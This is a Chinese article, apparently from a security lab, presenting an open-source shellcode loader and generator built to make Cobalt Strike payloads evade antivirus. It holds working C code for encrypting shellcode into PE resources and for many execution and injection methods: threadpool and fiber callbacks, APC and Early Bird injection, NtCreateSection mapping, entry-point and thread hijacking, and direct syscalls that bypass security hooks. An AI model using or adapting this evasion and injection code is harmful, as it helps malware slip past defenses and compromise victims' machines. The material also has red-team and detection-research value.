作者:m0ngo0se@知道創宇404實驗室
時間:2020年11月30日

1.前言

shellcode由于可以隨意地進行變化和還原,殺軟的查殺難度較大。因此將木馬shellcode化,再進行shellcode免殺是目前最流行的免殺方式之一。

但是就以Cobalt Strike的shellcode免殺載荷常規的制作方式來說,需要將shellcode文本加密編碼,放入源碼想辦法免殺,編譯等過程太過繁瑣,其中不少步驟耗時耗力,更換shellcode之后不少過程又需要重復進行。

本工具旨在解決shellcode載荷生成過程中多數重復性工作,降低免殺的工作時間,將更多的精力放在滲透或者發現新的免殺利用方式上。

本文提到的shellcodeLoader作為星鏈計劃的一員開源,希望能給相關的安全從業者帶來幫助。

https://github.com/knownsec/shellcodeloader

2.什么是shellcode?

shellcode是一種地址無關代碼,只要給他EIP就能夠開始運行,由于它不像PE有著復雜的結構,因此可以隨意變化和復原,shellcode可使用多種語言進行開發,如需了解可看這,但是shellcode的開發往往有著相同的步驟,如下圖就是shellcode的常用套路。由于其被廣泛的惡意使用,因此多數殺軟廠商也會針對各種shellcode的特征做查殺。

shellcode基礎原理

3.需要什么樣的加載器?

shellcode已經有了,但是還需要獲得運行權限,而加載器就是為了順利運行shellcode。由于shellcode的特征,加載器還需要達到下列要求才能夠比較長久有效的實現對shellcode的加載。

  • 需求一:對shellcode進行加密(加密的算法不重要,重要的是一定要加密)。
  • 需求二:盡可能實現生成的自動化,免去一些重復繁瑣的工作。
  • 需求三:加載的方式盡可能多樣,最好能夠支持拓展。
  • 需求四:對于shellcode的大小、位數沒有特殊要求。
  • 需求五:適當提供shellcode功能以外的額外選項,如自啟動等。

4.shellcode加載器的設計

通過上述的總結,我們基本確定了shellcode加載器的需求。

  • 需求一:這個很容易實現,我們只需要將shellcode加密寫入到加載器中,加載器對其按照指定方法進行解密即可。

  • 需求二:通過文本方式加密處理shellcode費時費力,我們最好實現一個生成器,由它負責對shellcode的加密和寫入,同時加密的密鑰也可以自動隨機生成,減少用戶交互,同時實現一次一密,能夠確保相同的shellcode加密出來的加載器的md5也不相同,達到更好的免殺效果。那么密鑰也就必須寫入加載器儲存起來,加載器通過其中的密鑰進行解密。

  • 需求三:同一個生成器的前提下,不同加載方式的加載器應該保持一致的寫入方式和獲取shellcode的方式,否則會增加許多的判斷代碼,并且不利于拓展。我能想到的有三種方式:

1.將shellcode寫入加載器文件的指定文件偏移,加載器在指定偏移獲取。

2.將shellcode寫入加載器的資源,加載器通過獲取資源的函數獲取。

3.將shellcode與加載器進行分離,直接放到同目錄的一個文件,使用時就需要兩個文件。或者加載器通過網絡連接從服務器獲取指定的shellcode。

  • 需求四:由于shellcode的大小和不同加載方式的文件大小不盡相同,對于上述上個需求的解決方案中一方案就不太合適。不同的文件大小一個統一的文件偏移找起來就不是特別方便,拓展也需要注意很多問題。然后就二和三解決方案就是很好的實現方式,由于網絡的方式我已經實現過一款了,本次選擇資源加載。你當然還可以把他們綜合到一個平臺上。

  • 需求五:這個也很簡單,只需要在生成器增加選項,然后將配置文件寫入加載器,加載器根據指定配置進行初始化運行即可。

通過眾多權衡,我們容易發現,加載器和生成器的設計開發的核心就是保持一致,可以理解為統一的且易于實現的拓展接口。而通過資源寫入shellcode和配置信息,加載再通過資源讀出shellcode和配置信息即為最為簡單易拓展的方式。生成器的運行流程大致如下:

寫入該資源也不需要我們去解析資源的具體文件偏移,我們可以使用微軟的UpdateResource()函數進行寫入。其中resourceID就是寫入的資源序號,可隨意指定。

UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(resourceID), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize)

而生成的加載器大致如下:

對于資源的獲取,微軟提供了很方便的函數,無需我們自己通過pe進行解析獲取。

HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA);
DWORD totalSize = SizeofResource(NULL, hRsrc);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
LPVOID pBuffer = LockResource(hGlobal);

FindResource()函數可以通過指定資源序號找到對應資源的資源句柄,其中的資源序號需要與寫入時保持一致。

SizeofResource()函數即可該獲取資源的總大小,我們可借此確定shellcode的大小。

LoadResource(),LockResource()函數即可獲取我們寫入的資源的首地址,其格式可以自由指定,但是一定要和生成器保持一致,同時最好將shellcode放在最后,因為shellcode大小往往是不確定的,這樣shellcode前的配置信息就更容易獲取。

由于資源的獲取沒有什么限制,因此拓展也非常簡單,當發現一種新的shellcode加載的利用方式,只需要實現從指定的資源序號獲取shellcode,并通過新的方式加載它即可。

5.加載方式

為了達到更為持久的免殺效果,需要盡可能多加載方式,一種失效了不好免殺,還有更多的可以使用,網上的加載方式已經有許多了,同時他們彼此間往往還可以進行組合,因此加載方式是非常多的。以下是我在網絡上搜集的shellcode加載方式。

直接加載類

CreateThreadpoolWait加載

CreateThreadpoolWait可以創建一個等待對象,該等待對象的回調會在設置的事件對象成為signaled狀態或超時時運行,所以我們可借此加載shellcode。

HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Memory, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
  1. 首先通過CreateEvent函數創建一個signaled的事件對象,也就是第三個參數必須為TRUE。否則shellcode將不會得到執行,且進程將一直等待下去。
  2. 使用CreateThreadpoolWait函數創建一個線程池等待回調,我們只需要關心第一個參數也就是等待完成或者超時后要執行的回調函數,這里我們將該回調函數設置為shellcode。
  3. 使用SetThreadpoolWait函數將等待對象和第一步創建的句柄綁定,一個等待對象只能等待幾個句柄。當句柄對象變成signaled或超時后會執行等待對象的回調函數。
  4. 使用WaitForSingleObject對第一步的事件對象進行等待。由于我們的事件對象本身就是signaled的,所以設置的回調函數會立馬得到執行。如此就執行了shellcode。

Fiber加載

纖程是基本的執行單元,其必須有由應用程序進行手動調度。纖程在對其進行調度的線程的上下文中運行。一般來說每個線程可調度多個纖程。

PVOID mainFiber = ConvertThreadToFiber(NULL);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Memory, NULL);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
  1. 首先使用ConvertThreadToFiber函數將主線程轉換為主纖程。如果線程只有一個纖程是不需要進行轉換的,但是如果要使用CreateFiber創建多個纖程進行切換調度,則必須使用該函數進行轉換。否則在使用SwitchToFiber函數切換時就會出現訪問錯誤。
  2. 創建一個指向shellcode的地址的纖程。
  3. 切換至shellcode的纖程開始執行shellcode。

NtTestAlert加載

NtTestAlert是一個未公開的Win32函數,該函數的效果是如果APC隊列不為空的話,其將會直接調用函數KiUserApcDispatcher處理用戶APC,如此一來排入的APC可以立馬得到運行。

pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Memory;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
NtTestAlert();
  1. 首先從ntdll.dll中獲取函數NtTestAlert
  2. 排入一個指向shellcode的APC到當前線程
  3. 執行函數NtTestAlert將會直接執行shellcode

SEH異常加載

SEH(Structured Exception Handling)結構化異常處理,是windows操作系統默認的錯誤處理機制,它允許我們在程序產所錯誤時使用特定的異常處理函數處理這個異常,盡管提供的功能預取為處理異常,但由于其功能的特點,也往往大量用于反調試。

int* p = 0x00000000;
_try
{
    *p = 13;
}
_except(ExceptFilter()) 
{
};

可以使用C/C++的結構化異常處理獲得執行流程,將我們的shellcode執行放入異常處理或者異常過濾中,然后觸發一個簡單的異常,程序就會開始執行我們的shellcode。如下是異常過濾函數,直接執行shellcode即可,當然你也可以將所有的操作放入該函數中。

TLS回調加載

TLS提供了一個回調函數,在線程程初始化和終止的時候都會調用,由于回調函數會在入口點(OEP)前執行,而調試器通常會默認在主函數入口點main設置斷點,所以常常被用來作為反調試手段使用,同時回調函數允許我們自由編寫任意代碼,TLS分為靜態TLS和動態TLS,靜態TLS會把TLS相關數據硬編碼在PE文件內。

VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        //這里進行前三步的初始化
        memcpy(Memory, (char *)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG));
        StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128);
    }
}

因此我們可以將shellcode加載的前三步準備工作放入TLS回調中,在其完成后,在main函數中直接執行shellcode即可。該方式不支持64位。

動態加載

直接加載的方式是直接調用需要的函數,最終編譯的文件中所有需要的函數會在其導入表,運行時也就需要導入表找到對應函數的地址。因此導入表會暴露許多信息,而許多殺軟就會針對導入表進行檢測。動態加載則是動態的獲取需要的函數,因此導入表是不會存在許多需要調用的函數的。

//0.獲取函數
HMODULE hkmodule = GetModuleHandle(L"kernel32.dll");
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(hkmodule, "VirtualAlloc");
pfnFindResourceW fnFindResourceW=(pfnFindResourceW)GetProcAddress(hkmodule, "FindResourceW");
pfnSizeofResource fnSizeofResource=(pfnSizeofResource)GetProcAddress(hkmodule, "SizeofResource");
pfnLoadResource fnLoadResource=(pfnLoadResource)GetProcAddress(hkmodule, "LoadResource");
pfnLockResource fnLockResource=(pfnLockResource)GetProcAddress(hkmodule, "LockResource");

本方法和直接加載使用的函數是一樣的,只不過通過GetModuleHandle和GetProcAddress函數獲取所需要的函數,更進一步可以對函數名進行加密等操作可以達到更好的效果。

動態加載plus

本方式和動態加載的核心原理是一樣的,動態獲取需要的函數在進行執行,不過動態獲取的方式不再是使用GetModuleHandle和GetProcAddress函數,而是自己從peb獲取kernel32.dll基址,然后根據其導出表獲取需要的函數。該方式不支持64位。

ULONGLONG GetKernelFunc(char *funname)
{
    ULONGLONG kernel32moudle = GetKernel32Moudle();
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernel32moudle;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(kernel32moudle + pDos->e_lfanew);
    PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
    pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    DWORD dwOffest = pExportDir->VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(kernel32moudle + dwOffest);
    DWORD dwFunCount = pExport->NumberOfFunctions;
    DWORD dwFunNameCount = pExport->NumberOfNames;
    DWORD dwModOffest = pExport->Name;
    PDWORD pEAT = (PDWORD)(kernel32moudle + pExport->AddressOfFunctions);
    PDWORD pENT = (PDWORD)(kernel32moudle + pExport->AddressOfNames);
    PWORD pEIT = (PWORD)(kernel32moudle + pExport->AddressOfNameOrdinals);
    for (DWORD dwOrdinal = 0; dwOrdinal<dwFunCount; dwOrdinal++)
    {
        if (!pEAT[dwOrdinal])
        {
            continue;
        }
        DWORD dwID = pExport->Base + dwOrdinal;
        DWORD dwFunAddrOffest = pEAT[dwOrdinal];
        for (DWORD dwIndex = 0; dwIndex<dwFunNameCount; dwIndex++)
        {
            if (pEIT[dwIndex] == dwOrdinal)
            {
                DWORD dwNameOffest = pENT[dwIndex];
                char* pFunName = (char*)((DWORD)kernel32moudle + dwNameOffest);
                if (!strcmp(pFunName, funname))
                {
                    return kernel32moudle + dwFunAddrOffest;
                }
            }
        }
    }
    return 0;
}

系統call加載

許多殺軟通過ring3層的API hook獲取軟件運行時的具體參數和結果,因此可以捕捉軟件運行的具體行為,這也是函數序列查殺的實現方式之一,但是可以通過重寫ring3層的函數,直接調用系統內核的函數進行繞過,如此一來殺軟下的hook并沒有什么用,因為我們就沒調用。盡管syscall的大部分都是一致的,但是其最核心的系統調用號在不同版本的機器上都不盡相同,因此只要解決了該核心問題,我們就可以重寫ring3層需要的函數。

pNtAllocateVirtualMemory fnNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetSyscallStub("NtAllocateVirtualMemory");
LPVOID Memory = NULL;
SIZE_T uSize = totalSize - sizeof(CONFIG);
HANDLE hProcess = GetCurrentProcess();
NTSTATUS status = fnNtAllocateVirtualMemory(hProcess, &Memory, 0, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (status != 0)
{
    return 0;
}
memcpy(Memory, (unsigned char*)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG));
StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128);
//4.執行shellcode
((void(*)())Memory)();

本方式使用系統直接call分配內存然后加載shellcode,該方式不支持32位。

  1. 首先獲取需要的函數NtAllocateVirtualMemory,其系統調用號在不同版本的機器上也不同,所以需要根據ntdll.dll動態獲取其系統調用號。
  2. 然后使用當前進程的句柄分配內存。
  3. 執行shellcode。

注入類

APC注入

當系統創建一個線程的時候,會同時創建一個與線程相關的隊列。這個隊列被叫做異步過程調用(APC)隊列。為了對線程中的APC隊列中的項進行處理,線程必須 將自己設置為可提醒狀態,只不過意味著我們的線程在執行的時候已經到達了一個點,在這個點上它能夠處理被中斷的情況,下邊的六個函數能將線程設置為可提醒狀態:SleepEx,WaitForSingleObjectEx,WaitForMultipleOBjectsEx,SingalObjectAndWait,GetQueuedCompletionStatusEx,MsgWaitForMultipleObjectsEx當我們調用上邊的六個函數之一并將線程設置為可提醒狀態的時候,系統首先會檢查線程的APC隊列,如果隊列中至少有一項,那么系統就會開始執行APC隊列中的對應的回調函數,然后清除該隊列,等待返回。

本方式是經典的注入方式---APC注入。由于APC注入的限制,最好選擇多線程的進程進行注入,本例選擇了notepad.exe進行注入。

for (DWORD threadId : threadIds) 
{
    HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    Sleep(1000 * 2);
}
  1. 首先獲取當前進程和線程的快照
  2. 根據進程名獲打開指定進程的句柄,并在其進程空間寫入shellcode
  3. 將該進程的所有線程排入指向shellcode的APC

Early Brid APC注入

每個用戶模式線程都在LdrInitializeThunk函數處開始執行,但是該函數有著如此的調用鏈:LdrInitializeThunk→LdrpInitialize→_LdrpInitialize→NtTestAlert→KiUserApcDispatcher,因此盡管有著APC注入的限制,但是shellcode依然能夠在恢復線程的時候立馬得到運行。由于它在線程初始化的非常早期階段就加載了惡意代碼,而隨后許多安全產品都將其掛入鉤子,這使惡意軟件得以執行其惡意行為而不會被檢測到。

SIZE_T shellSize = totalSize - sizeof(CONFIG);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buffer, shellSize, NULL);
delete[] buffer;
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
  1. 首先以掛起方式創建要注入的進程
  2. 獲取創建的進程的進程句柄和主線程句柄
  3. 向其進程空間寫入shellcode,并在主線程插入執行shellcode的APC
  4. 恢復主線程,shellcode得到執行

NtCreateSection注入

節是一種進程間的共享內存,可以使用NtCreateSection進行創建,進程在讀寫該共享內存錢,必須使用NtMapViewOfSection函數進行映射,多個進程可以通過映射的內存讀寫該節。

    SIZE_T size = shellcodeSize;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    if (Process32First(snapshot, &processEntry))
    {
        while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0)
        {
            Process32Next(snapshot, &processEntry);
        }
    }
    DWORD targetPID = processEntry.th32ProcessID;
    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
    fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
    memcpy(localSectionAddress, buffer, shellcodeSize);
    delete[] buffer;
    HANDLE targetThreadHandle = NULL;
    fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
  1. 首先通過NtCreateSection在本進程控件創建一個可讀可寫可執行的內存節。
  2. 將創建的節映射到本進程,權限為可讀可寫。
  3. 在目標進程也映射該節,權限為可讀可執行即可。
  4. 將shellcode復制入本地映射的內存節,由于該節是共享的,因此目標進程中的該節也會是這串shellcode。
  5. 在目標進程中創建一個遠程線程執行shellcode。

入口點劫持注入

眾所周知,PE中存在一個入口點,這個入口點正是進程開始執行的地方,所以我們可以通過更改內存中入口點的內容來運行我們的shellcode。由于存在ALSR,入口點還需要加上映像基址,所以我們可以找到內存中的入口點,再將其入口點的位置寫入shellcode,即可獲取進程的執行權限。

STARTUPINFOA si;
si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
#ifdef _M_X64
    DWORD returnLength = 0;
    CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16;
    LPVOID imageBase = 0;
    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL);
    BYTE headersBuffer[4096] = {};
    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
    LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase);
#else
    DWORD returnLength = 0;
    CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    DWORD imageBaseOffset = (DWORD)pbi.PebBaseAddress + 8;
    LPVOID imageBase = 0;
    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 4, NULL);
    BYTE headersBuffer[4096] = {};
    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
    LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);
#endif // x64
    WriteProcessMemory(pi.hProcess, codeEntry, buffer,shellcodeSize, NULL);
    delete[] buffer;
    ResumeThread(pi.hThread);
  1. 首先以掛起的形式創建要注入的進程。
  2. 從進程基本信息中獲取映像基址。
  3. 從映像基址中讀取PE頭信息,再從NT頭中獲取入口點(該入口點也可以直接從文件中獲取),加上獲取的映像基址得到真的入口點。
  4. 再入口點寫入shellcode,然后恢復線程即可開始執行shellcode。

線程劫持注入

每個進程真正運行的其實是其中的多個線程,每個線程的EIP/RIP指針總是指向著當時的運行點,因此我們只要獲取該運行點就相當于獲取了線程的執行權限。

SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
    context.Rip = (DWORD_PTR)remoteBuffer;
#else
    context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
    SetThreadContext(threadHijacked, &context);
    ResumeThread(threadHijacked);
  1. 首先打開目標進程的進程句柄。
  2. 再目標進程的內存中寫入shellcode。
  3. 然后獲取目標進程的第一個線程的句柄并將其掛起。
  4. 修改線程的RIP/EIP指針指向shellcode。
  5. 然后恢復該線程開始執行shellcode。

6.參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1413/